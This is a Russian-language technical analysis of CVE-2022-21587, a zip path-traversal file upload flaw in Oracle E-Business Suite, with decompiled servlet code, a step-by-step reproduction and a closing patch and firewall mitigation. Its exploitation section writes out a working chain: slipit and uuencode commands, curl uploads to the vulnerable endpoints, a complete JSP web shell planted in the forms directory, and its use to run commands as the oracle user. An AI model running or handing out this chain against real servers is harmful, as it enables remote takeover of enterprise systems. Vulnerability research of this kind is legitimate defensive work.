# CVE-2022-21587 Technical Analysis

# Описание

Oracle E-Business Suite (EBS) - это пакетный набор корпоративных приложений для широкого спектра задач, таких как управление взаимоотношениями с клиентами (CRM), планирование ресурсов предприятия (ERP) или управление человеческим капиталом (HCM).

В октябре 2022 года Oracle опубликовала Critical Patch Update Advisory для устранения нескольких проблем в своих продуктах, включая CVE-2022-21587, уязвимость произвольной загрузки файлов с рейтингом 9.8 по метрике риска CVSS v3, которая затрагивает Oracle Web Applications Desktop Integrator, поставляемый с Oracle EBS версий от 12.2.3 до 12.2.11.

CVE-2022-21587 может привести к неавторизованному удаленному выполнению кода. 16 января 2023 года компания Viettel Security опубликовала анализ этой проблемы, подробно описав первопричину и метод использования уязвимости для получения возможности выполнения кода через полезную нагрузку Perl. Эксплойт, основанный на методе анализа Viettel Security, был опубликован на GitHub "HMs" 6 февраля 2023 года. Oracle приписала "l1k3beef" в качестве первооткрывателя уязвимости.

Анализ показал, что во время эксплуатации также возможно использование полезной нагрузки на основе Java Server Page (JSP) для RCE.

# Технический анализ

Приложения Oracle EBS развертываются как корпоративные Java-приложения, работающие на экземпляре сервера WebLogic, который по умолчанию прослушивает HTTP-соединения на TCP-порту 8000. Приложение oacore открывает несколько конечных точек, которые настраиваются через файл `/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml`, как показано ниже. Интерес представляют конечные точки, которые обслуживаются классами, наследующими от сервлета `BneAbstractXMLServlet`, а именно: `/OA_HTML/BneViewerXMLService`, `/OA_HTML/BneDownloadService`, `/OA_HTML/BneOfflineLOVService и /OA_HTML/BneUploaderService`. Хотя общедоступный эксплойт нацелен на конечную точку `/OA_HTML/BneUploaderService`, все четыре конечные точки уязвимы к одной и той же проблеме.

```java
  <servlet>
    <servlet-name>BneViewerXMLService</servlet-name>

    <servlet-class>oracle.apps.bne.integrator.document.BneViewerXMLService</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>BneViewerXMLService</servlet-name>
    <url-pattern>/BneViewerXMLService</url-pattern>
  </servlet-mapping>

  <servlet>
    <servlet-name>BneDownloadService</servlet-name>
    <servlet-class>oracle.apps.bne.integrator.download.BneDownloadService</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>BneDownloadService</servlet-name>
    <url-pattern>/BneDownloadService</url-pattern>

  </servlet-mapping>

  <servlet>
    <servlet-name>BneOfflineLOVService</servlet-name>
    <servlet-class>oracle.apps.bne.integrator.download.BneOfflineLOVService</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>BneOfflineLOVService</servlet-name>

    <url-pattern>/BneOfflineLOVService</url-pattern>
  </servlet-mapping>

  <servlet>
    <servlet-name>BneUploaderService</servlet-name>
    <servlet-class>oracle.apps.bne.integrator.upload.BneUploaderService</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>BneUploaderService</servlet-name>
    <url-pattern>/BneUploaderService</url-pattern>
  </servlet-mapping>
```

Мы можем посмотреть, как HTTP POST запрос к одной из вышеуказанных конечных точек обрабатывается `servletмBneAbstractXMLServlet` с помощью метода doRequest, описанного ниже. Если запрос содержит данные многочастной формы *\[2\]*, то параметр HTTP запроса bne:uueupload проверяется на то, содержит ли он значение true *\[2\]*, если оно найдено, то многочастный запрос будет иметь суффикс .uue, связанный с его файлами *\[3\]*, прежде чем данные многочастного запроса будут обработаны дальше с помощью метода `doUpload` *\[4\]*.

```java
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneAbstractXMLServlet.class

  public String getMultipartFileNameSuffix(boolean paramBoolean) {
    if (paramBoolean)
      return ".uue"; // <--- [3]
    return ".xml";
  }
    
  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  }
  
  public void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    BneSitePropertyManager bneSitePropertyManager = BneSitePropertyManager.getInstance();
    try {
      BneOracleWebAppsContext bneOracleWebAppsContext;
      BneContext.getLogInstance().log(7, "Enter BneAbstractXMLServlet.doRequest()");
      boolean bool1 = allowGuestSession();
      boolean bool2 = allowBneLogin();
      boolean bool3 = includeMessagesElement();
      boolean bool4 = disableBneWebAppsContextRelease();
      BneWebAppsContext bneWebAppsContext = null;
      BneBaseBajaContext bneBaseBajaContext = null;
      PageEvent pageEvent = null;
      BneXMLPrintWriter bneXMLPrintWriter = null;
      BneResourceString.setLangOnThread(paramHttpServletRequest);
      try {
        bneWebAppsContext = BneAbstractWebAppsContext.getContext(paramHttpServletRequest, paramHttpServletResponse);
        BneResourceString.setLangOnThread(paramHttpServletRequest, bneWebAppsContext.getLanguage());
        bneBaseBajaContext = new BneBaseBajaContext(this, paramHttpServletRequest, paramHttpServletResponse);
        BneServletUtils.setRequestEncoding((BneBajaContext)bneBaseBajaContext);
        if (BneSecurity.isBneDisabled(bneWebAppsContext)) {
          if (bneXMLPrintWriter == null)
            bneXMLPrintWriter = new BneXMLPrintWriter(bneWebAppsContext, paramHttpServletRequest, paramHttpServletResponse); 
          outputErrorDocument(new BneErrorMessage(BneResourceString.getMlsString("GLB_ER_NO_ACCESS"), null, null, "BNE-020003"), (PrintWriter)bneXMLPrintWriter, bool3);
          bool4 = false;
          return;
        } 
        printServletHAP(paramHttpServletRequest);
        if ("post".equalsIgnoreCase(paramHttpServletRequest.getMethod()) && MultipartFormHandler.isMultipartRequest((ServletRequest)paramHttpServletRequest)) { // <--- [1]
          BneContext.getLogInstance().log(7, "BneAbstractXMLServlet.doRequest(), MultipartFileDirectoryName = " + getMultipartFileDirectoryName() + " prefix = " + getMultipartFileNamePrefix());
          BneMultipartRequest bneMultipartRequest = new BneMultipartRequest(paramHttpServletRequest, getMultipartFileDirectoryName());
          bneMultipartRequest.setFilePrefix(getMultipartFileNamePrefix());
          String str = paramHttpServletRequest.getParameter("bne:uueupload");
          if (str != null && str.length() > 0 && str.equalsIgnoreCase("TRUE")) { // <--- [2]
            bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(true));
          } else {
            bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(false));
          } 
          bneMultipartRequest.doUpload(); // <--- [4]
```

Метод `doUpload` будет перебирать каждый элемент многокомпонентного запроса \[1\] и вызывать метод `doUploadFile` для обработки загрузки конкретного элемента \[2\].

```java
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class

  public void doUpload() throws IOException {
    this._logger.log(7, "BneMultipartRequest.doUpload(): Start");
    String str = this._request.getQueryString();
    if (str != null) {
      Hashtable hashtable = HttpUtils.parseQueryString(str);
      Enumeration<String> enumeration = hashtable.keys();
      while (enumeration.hasMoreElements()) {
        String str1 = enumeration.nextElement();
        put(str1, hashtable.get(str1));
      } 
    } 
    this._logger.log(7, "BneMultipartRequest.doUpload(): queryString " + str);
    this._logger.log(7, "BneMultipartRequest.doUpload(): Content-Type " + this._request.getContentType() + " content-length: " + this._request.getContentLength());
    MultipartFormHandler multipartFormHandler = new MultipartFormHandler((ServletRequest)this._request);
    MultipartFormItem multipartFormItem;
    while ((multipartFormItem = multipartFormHandler.getNextPart()) != null) { // <--- [1]
      String str1 = multipartFormItem.getName();
      String str2 = null;
      this._logger.log(7, "BneMultipartRequest.doUpload(): item.getName is: " + str1);
      if (str1.equals("uploadfilename"))
        this._logger.log(7, "BneMultipartRequest.doUpload(): item.getFilename is: " + multipartFormItem.getFilename()); 
      if (multipartFormItem.getFilename() == null) {
        str2 = multipartFormItem.getValue();
        this._logger.log(7, "BneMultipartRequest.doUpload(): item.getValue() is: " + str2);
      } else if (multipartFormItem.getFilename().length() > 0) {
        if (this.m_validMultipartParameterNames != null && !this.m_validMultipartParameterNames.containsKey(str1)) {
          this._logger.log(4, "BneMultipartRequest.doUpload(): Unknown Multipart file item ignored: " + str1);
          continue;
        } 
        this._logger.log(7, "BneMultipartRequest.doUpload(): going to doUploadFile of item ");
        if (multipartFormItem.getFilename().endsWith(".xlsx"))
          setFileSuffix(".xlsx"); 
        str2 = doUploadFile(multipartFormItem); // <--- [2]
```

Метод `doUploadFile` записывает элемент многочастного файла во временный файл *\[1\]*, чтобы его можно было обработать. Если имя временного файла содержит строку uue, это будет обработано как особый случай. Мы можем отметить, что, как упоминалось ранее, передавая параметр HTTP-запроса bne:uueupload, мы можем заставить суффикс `.uue` быть добавленным к временному файлу, чтобы удовлетворить эту проверку *\[2\]*. Ожидается, что файл будет закодирован с помощью механизма кодирования двоичного текста в текст, называемого uuencode, после декодирования текстового файла обратно в двоичный файл с помощью метода `doDecode` *\[3\]*, полученный двоичный файл будет представлять собой ZIP-архив, который затем обрабатывается с помощью метода `doUnZip` *\[4\]*.

```java
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class

  private String doUploadFile(MultipartFormItem paramMultipartFormItem) throws IOException {
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): Start");
    File file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
    while (file.exists())
      file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix); 
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): Content Type is: " + paramMultipartFormItem.getContentType());
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): File Name in item is: " + paramMultipartFormItem.getFilename());
    String str = file.toString();
    FileOutputStream fileOutputStream = new FileOutputStream(str);
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): file location is: " + str);
    paramMultipartFormItem.writeFile(fileOutputStream); // <--- [1]
    fileOutputStream.flush();
    fileOutputStream.close();
    if (file.getName().contains("uue")) { // <--- [2]
      BneDecoder bneDecoder = new BneDecoder(new FileInputStream(file));
      String str1 = bneDecoder.doDecode(); // <--- [3]
      this._logger.log(7, "BneMultipartRequest.doUploadFile(): Zip file is: " + str1);
      BneUnZip bneUnZip = new BneUnZip();
      String str2 = bneUnZip.doUnZip(str1); // <--- [4]
```

Метод `doUnZip` уязвим к Path Traversal, которая позволяет злоумышленнику записать содержимое ZIP-файла в произвольное место на целевой системе. Сначала извлекается значение свойства приложения `BNE_UPLOAD_STAGING_DIRECTORY` *\[1\]*. Это путь, где хранятся декодированные файлы UUE во время выполнения команды `doDecode` выше, и куда, как ожидается, будут извлечены записи ZIP-файла. По умолчанию это местоположение `/u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload`. Записи в ZIP-файле перебираются *\[2\]*, и для каждой записи в ZIP-файле строится путь для извлечения записи. Этот путь представляет собой конкатенацию каталога хранения и имени текущей записи *\[3\]*. Если имя записи содержит спецификатор пути с двойной точкой `../`, то содержимое записи может быть записано в место, находящееся вне каталога хранения *\[4\]*. Например, если ZIP-файл содержит запись с именем `../../../../../../foo.hax`, то запись будет извлечена в каталог `/u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload/../../../../../../foo.hax`, который имеет каноническую форму `/u01/install/APPS/fs1/foo.hax`.

```java
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/utilities/BneUnZip.class

  public String doUnZip(String paramString) throws IOException {
    String str1 = new String("");
    String str2 = new String("");
    BneContext.getLogInstance().log(7, "BneUnZip.doUpZip Enter fileName: " + paramString);
    str1 = BneSitePropertyManager.getInstance().getProperty("BNE_UPLOAD_STAGING_DIRECTORY"); // <--- [1]
    try {
      BufferedOutputStream bufferedOutputStream = null;
      FileInputStream fileInputStream = new FileInputStream(paramString);
      ZipInputStream zipInputStream = new ZipInputStream(new BufferedInputStream(fileInputStream));
      ZipEntry zipEntry;
      while ((zipEntry = zipInputStream.getNextEntry()) != null) { // <--- [2]
        byte[] arrayOfByte = new byte[2048];
        str2 = str1 + System.getProperty("file.separator") + zipEntry.getName(); // <--- [3]
        FileOutputStream fileOutputStream = new FileOutputStream(str2);
        BneContext.getLogInstance().log(7, "BneUnZip.doUpZip entry.getName() " + zipEntry.getName());
        bufferedOutputStream = new BufferedOutputStream(fileOutputStream, 2048);
        int i;
        while ((i = zipInputStream.read(arrayOfByte, 0, 2048)) != -1) {
          bufferedOutputStream.write(arrayOfByte, 0, i); // <--- [4]
```

# Воспроизведение

Мы можем продемонстрировать возможность загрузки произвольного файла с помощью нескольких команд, сначала мы создадим файл для загрузки:

```bash
$ echo hax > foo.hax
```

Затем мы можем использовать [инструмент slipit](https://github.com/usdAG/slipit) для создания ZIP-файла с записью, имя которой содержит несколько идентификаторов пути с двойными точками. Мы выберем 5 двойных точечных идентификаторов, чтобы перейти от пути `/u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload` к пути `/u01/install/APPS/fs1/`, где мы хотим записать наш файл.

```bash
$ slipit --overwrite --separator '/' --depth 5 foo.zip foo.hax
$ slipit foo.zip
File Name                 Modified             Size
../../../../../foo.hax    2023-02-08 10:42:16  4
```

Затем мы перекодируем ZIP-файл.

```bash
$ uuencode foo.zip foo.zip > foo.uue
$ cat foo.uue
begin 777 foo.zip
M4$L#!!0``````$A52%8'N_"1!`````0````6````+BXO+BXO+BXO+BXO+BXO
M9F]O+FAA>&AA>`I02P$"%`,4``````!(54A6![OPD00````$````%@``````
M````````_X$`````+BXO+BXO+BXO+BXO+BXO9F]O+FAA>%!+!08``````0`!
+`$0````X````````
`
end
```

Перед тем как отправить POST-запрос на одну из четырех уязвимых конечных точек.

```bash
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@foo.uue
```

```bash
[oracle@apps scripts]$ ls -al /u01/install/APPS/fs1
total 12
drwxr-xr-x.  5 oracle oinstall   64 Feb  8 05:45 .
drwxr-xr-x. 10 oracle oinstall 4096 Dec  4  2020 ..
drwxr-xr-x.  5 oracle oinstall   44 Nov 22  2020 EBSapps
drwxr-x---. 11 oracle oinstall 4096 Nov 22  2020 FMW_Home
-rw-r--r--.  1 oracle oinstall    4 Feb  8 05:45 foo.hax
drwxr-xr-x.  3 oracle oinstall   18 Nov 18  2020 inst
[oracle@apps scripts]$ cat /u01/install/APPS/fs1/foo.hax
hax
```

# Эксплуатация

Для демонстрации выполнения произвольного кода компания Viettel Security показала, как веб-оболочка Perl может быть загружена в местоположение /u01/install/APPS/fs1/FMW\_Home/Oracle\_EBS-app1/common/scripts/txkFNDWRR.pl. Затем злоумышленник может передать произвольные команды этой веб-оболочке, отправляя запросы к конечной точке /OA\_CGI/FNDWRR.exe, которая, в свою очередь, выполнит Perl-скрипт веб-оболочки злоумышленника. Viettel отмечает, что для предотвращения загрузки произвольных Java Server Pages (JSP) существует белый список, однако наш анализ показал, что все еще возможно загрузить произвольный JSP, например, веб-оболочку JSP или более сложную полезную нагрузку JSP, нацелившись на место в модуле форм Oracle EBS WebLogic.

Сначала мы создадим базовую веб-оболочку JSP, которую мы хотим загрузить.

```bash
$ cat <<EOT >> hax.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String line = dis.readLine();
    while(line != null) {
        out.println(line); 
        line = dis.readLine(); 
    }
}
%>
EOT
```

Затем мы добавим этот JSP-файл в ZIP-архив с помощью slipit, чтобы использовать уязвимость **Path Traversal**. Мы запишем нашу веб-оболочку JSP в расположение `/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/hax.jsp`.

```bash
$ slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/applications/forms/forms/' hax.zip hax.js
```

Затем мы перекодируем ZIP-файл.

```bash
$ uuencode hax.zip hax.zip > hax.uue
```

Мы используем эту уязвимость для загрузки нашего web shell'a JSP.

```bash
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@hax.uue
```

Перед тем, как использовать web shell JSP для выполнения произвольной команды. Мы видим, что теперь у нас есть выполнение кода от имени пользователя `oracle`.

```bash
$ curl http://192.168.86.37:8000/forms/hax.jsp?cmd=id


uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Руководство Поскольку официальное исправление для этой проблемы доступно от Oracle, мы рекомендуем всем затронутым пользователям Oracle EBS применить исправление от октября 2022 года.

# Пример

![Untitled-29](https://blog.viettelcybersecurity.com/content/images/2023/01/Untitled-29.png align="left")

# Исправление

Лучший способ устранить эту уязвимость - установить патч от Oracle. В случае если вы не можете установить обновление, вы можете использовать брандмауэр для блокировки запросов, отправленных на следующие URL-адреса:

* /OA\_HTML/BneUploaderService
    
* /OA\_HTML/BneViewerXMLService
    
* /OA\_HTML/BneDownloadService
    
* /OA\_HTML/BneOfflineLOVService
